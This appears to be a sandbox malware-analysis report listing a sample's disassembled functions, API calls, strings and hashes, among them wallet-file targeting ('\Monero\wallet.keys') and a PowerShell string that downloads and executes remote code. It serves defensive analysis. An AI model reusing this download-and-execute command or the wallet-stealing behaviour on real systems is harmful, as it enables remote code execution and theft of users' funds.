Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 8fcbfbe78d110a26ce1f4a233f94558d79fcbe8e10b0c73093e822d4dee9ef34
Instruction ID: 427ce075443cf5f577bd8da5ac43e4d5e403cdfff35231f8c0a8167c6083e6f7
Opcode Fuzzy Hash: 8fcbfbe78d110a26ce1f4a233f94558d79fcbe8e10b0c73093e822d4dee9ef34
Instruction Fuzzy Hash: CEF0173190820AEBD384DFE0E90976D7AB0FB16742F040298E609862D0EB748E52DB96

Function 00864FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00864FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00864FD1
InternetOpenA.WININET(00880DDF,00000000,00000000,00000000,00000000), ref: 00864FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00865011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00865041
InternetCloseHandle.WININET(?), ref: 008650B9
InternetCloseHandle.WININET(?), ref: 008650C6

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 3b4ad94cb333da50c48a3b82d5cb372a7bd6d4b4b28ed8ba0ceec8d17afa7cdc
Instruction ID: 38938619c2dde0c1444c1ae1fe5063a235f151b70273109b65e2fc3a15e0c16c
Opcode Fuzzy Hash: 3b4ad94cb333da50c48a3b82d5cb372a7bd6d4b4b28ed8ba0ceec8d17afa7cdc
Instruction Fuzzy Hash: 8D31F7B4A0021CABDB20CF94DC85BDDB7B4FB48704F1081D9EA09A7281D7746AC6CF99

Function 008783DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00878426
wsprintfA.USER32 ref: 00878459
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020019,00000000), ref: 0087847B
RegCloseKey.ADVAPI32(00000000), ref: 0087848C
RegCloseKey.ADVAPI32(00000000), ref: 00878499

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

RegQueryValueExA.ADVAPI32(00000000,0116E5A0,00000000,000F003F,?,00000400), ref: 008784EC
lstrlen.KERNEL32(?), ref: 00878501
RegQueryValueExA.ADVAPI32(00000000,0116E510,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00880B34), ref: 00878599
RegCloseKey.ADVAPI32(00000000), ref: 00878608
RegCloseKey.ADVAPI32(00000000), ref: 0087861A

Strings

%s\%s, xrefs: 0087844D

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 87a3ed7fd3db3d67c4728ef89d74fca5cee598c5fd8816174fdf7663fe7d63f3
Instruction ID: 377dad41c1a58377371d14e5a6856f20fe65e2025f701ed0a5de89e05e004254
Opcode Fuzzy Hash: 87a3ed7fd3db3d67c4728ef89d74fca5cee598c5fd8816174fdf7663fe7d63f3
Instruction Fuzzy Hash: C421197194021CABDB64DB54DC85FE9B3B8FB58700F00C5D8E609A6180DF75AA86CFD5

Function 00877690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 008776A4
RtlAllocateHeap.NTDLL(00000000), ref: 008776AB
RegOpenKeyExA.ADVAPI32(80000002,0115C488,00000000,00020119,00000000), ref: 008776DD
RegQueryValueExA.ADVAPI32(00000000,0116E4F8,00000000,00000000,?,000000FF), ref: 008776FE
RegCloseKey.ADVAPI32(00000000), ref: 00877708

Strings

Windows 11, xrefs: 008776BD

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: d927d89fb1f848d46695c64e32e0e0e8e55e597ecde787460af8a5763f005c66
Instruction ID: 3a00df890b59a7858298bf83b8a643851a3518af0e6a956075032ff95e96de85
Opcode Fuzzy Hash: d927d89fb1f848d46695c64e32e0e0e8e55e597ecde787460af8a5763f005c66
Instruction Fuzzy Hash: F4014FB5A04209BBDB00DBE4DC49F6AB7F8EB59701F108454FA05D72D4D7749905CB51

Function 00877720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00877734
RtlAllocateHeap.NTDLL(00000000), ref: 0087773B
RegOpenKeyExA.ADVAPI32(80000002,0115C488,00000000,00020119,008776B9), ref: 0087775B
RegQueryValueExA.ADVAPI32(008776B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0087777A
RegCloseKey.ADVAPI32(008776B9), ref: 00877784

Strings

CurrentBuildNumber, xrefs: 00877771

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: f51d26e14ab6d5622e9c3b9ed06fe6b33b9a379b528313092a39cbe096344f0b
Instruction ID: 240c2edafb444167de0c046604a330662f68a76aa6ce203b33d2c3d8973669b5
Opcode Fuzzy Hash: f51d26e14ab6d5622e9c3b9ed06fe6b33b9a379b528313092a39cbe096344f0b
Instruction Fuzzy Hash: 8D0121B5A40209BBDB00DBE4DC49FAEB7B8EB58701F008158FA05E62C1D7759501CB51

Function 008740B0 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 008740D5
RegOpenKeyExA.ADVAPI32(80000001,0116E218,00000000,00020119,?), ref: 008740F4
RegQueryValueExA.ADVAPI32(?,0116E8D0,00000000,00000000,00000000,000000FF), ref: 00874118
RegCloseKey.ADVAPI32(?), ref: 00874122
lstrcat.KERNEL32(?,00000000), ref: 00874147
lstrcat.KERNEL32(?,0116E678), ref: 0087415B

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: f75148f5d1b1a8782b2ff64caa948020d7b977e9f090a92b258ac165446beeb9
Instruction ID: 9dbdeb7eab3c445110f3b1fec7bff167be32fbc36beef338d2c35ee914d4a2dd
Opcode Fuzzy Hash: f75148f5d1b1a8782b2ff64caa948020d7b977e9f090a92b258ac165446beeb9
Instruction Fuzzy Hash: 414198B69001086BDB14EBE4DC4AFFE737DF798300F008559B61A96181EB759B89CB93

Function 008699C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008699EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00869A11
LocalAlloc.KERNEL32(00000040,?), ref: 00869A31
ReadFile.KERNEL32(000000FF,?,00000000,0086148F,00000000), ref: 00869A5A
LocalFree.KERNEL32(0086148F), ref: 00869A90
CloseHandle.KERNEL32(000000FF), ref: 00869A9A

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 160dca0633861f4f777d24018b01d7eca8d07f3d80fe849231a2923827b3d188
Instruction ID: 43335837e85ec93a140194d2c2ad14af2e466c6c0c1983944127e87eb0be55c8
Opcode Fuzzy Hash: 160dca0633861f4f777d24018b01d7eca8d07f3d80fe849231a2923827b3d188
Instruction Fuzzy Hash: EF3105B4A00219EFDB14CF94C885BAE77F9FF49351F108158E912AB2D0D778AA41CFA1

Function 0087C84E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

memset.MSVCRT ref: 0087C8BF
___crtGetStringTypeA.LIBCMT ref: 0087C8EC
___crtLCMapStringA.LIBCMT ref: 0087C90C
___crtLCMapStringA.LIBCMT ref: 0087C931

Strings

, xrefs: 0087C896

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Typememset
String ID:
API String ID: 3530896902-3916222277
Opcode ID: 613a3b139070fe887e89eee1b4f9a1171b735d3505a30b6dd9002210262d6527
Instruction ID: 8a2b94633ac37588947fc81b2d3c1eb2bcb6300a49089fbe0d97d1b6a439c913
Opcode Fuzzy Hash: 613a3b139070fe887e89eee1b4f9a1171b735d3505a30b6dd9002210262d6527
Instruction Fuzzy Hash: E041E77110075C5EDB218B288C84BFB7BE9EF45708F1484ACDA8EC7186D271DA459F61

Function 00874780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0116E828), ref: 008747DB

Part of subcall function 00878DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00878E0B

lstrcat.KERNEL32(?,00000000), ref: 00874801
lstrcat.KERNEL32(?,?), ref: 00874820
lstrcat.KERNEL32(?,?), ref: 00874834
lstrcat.KERNEL32(?,0115BDB8), ref: 00874847
lstrcat.KERNEL32(?,?), ref: 0087485B
lstrcat.KERNEL32(?,0116DF98), ref: 0087486F

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 00878D90: GetFileAttributesA.KERNEL32(00000000,?,00861B54,?,?,0088564C,?,?,00880E1F), ref: 00878D9F

Part of subcall function 00874570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00874580
Part of subcall function 00874570: RtlAllocateHeap.NTDLL(00000000), ref: 00874587
Part of subcall function 00874570: wsprintfA.USER32 ref: 008745A6
Part of subcall function 00874570: FindFirstFileA.KERNEL32(?,?), ref: 008745BD

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: 4a4456abe5c933db20634e9285307c8031a70dc31dae25ce808ef19a9d8a944b
Instruction ID: e20c9452c54d94db738f2db1d087a350d951c81e61154ad68f7f904c1e675dbc
Opcode Fuzzy Hash: 4a4456abe5c933db20634e9285307c8031a70dc31dae25ce808ef19a9d8a944b
Instruction Fuzzy Hash: 8A3182B294020897CB54FBB4DC89EED77B8FB68700F408589B319D6085EF74D689CB92

Function 00872C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Part of subcall function 0087A9B0: lstrlen.KERNEL32(?,011695A8,?,\Monero\wallet.keys,00880E17), ref: 0087A9C5
Part of subcall function 0087A9B0: lstrcpy.KERNEL32(00000000), ref: 0087AA04
Part of subcall function 0087A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0087AA12

Part of subcall function 0087A920: lstrcpy.KERNEL32(00000000,?), ref: 0087A972
Part of subcall function 0087A920: lstrcat.KERNEL32(00000000), ref: 0087A982

Part of subcall function 0087A8A0: lstrcpy.KERNEL32(?,00880E17), ref: 0087A905

ShellExecuteEx.SHELL32(0000003C), ref: 00872D85

Strings

')", xrefs: 00872CB3
<, xrefs: 00872D39
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00872D04
-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00872CC4

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091562892.0000000000EF3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_860000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteShelllstrlen
String ID: ')"$-nop -c "iex(New-Object Net.WebClient).DownloadString('$<$C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
API String ID: 3031569214-898575020
Opcode ID: be2078cb15bc173f41b2227bac5e91e26ee988bb73fdb5ab6c0bdde5e5b75e4d
Instruction ID: 2d92b0eb75318c4e2cdabb5259f3c51fd441de8fc4beb7f26925f23b722a9dce
Opcode Fuzzy Hash: be2078cb15bc173f41b2227bac5e91e26ee988bb73fdb5ab6c0bdde5e5b75e4d
Instruction Fuzzy Hash: F641AF71C101089ADB58FBA4C895FDEBB74FF54700F408129E12AE6199DF74AA4ACF93

Function 00869E10 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00869F41

Part of subcall function 0087A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0087A7E6

Part of subcall function 0087A740: lstrcpy.KERNEL32(00880E17,00000000), ref: 0087A788

Strings

ERROR_RUN_EXTRACTOR, xrefs: 00869E67
v20, xrefs: 00869E21
@, xrefs: 00869EF1
v10, xrefs: 00869EA3

Memory Dump Source

Source File: 00000000.00000002.2091077451.0000000000861000.00000040.00000001.01000000.00000003.sdmp, Offset: 00860000, based on PE: true

Associated: 00000000.00000002.2091063671.0000000000860000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000911000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.000000000091D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000942000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091077451.0000000000AAA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000ABE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D21000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091222902.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091449535.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2091549519.0000000000EF2000.00000040.00000001.01000000.00000003.sdmpDownload File
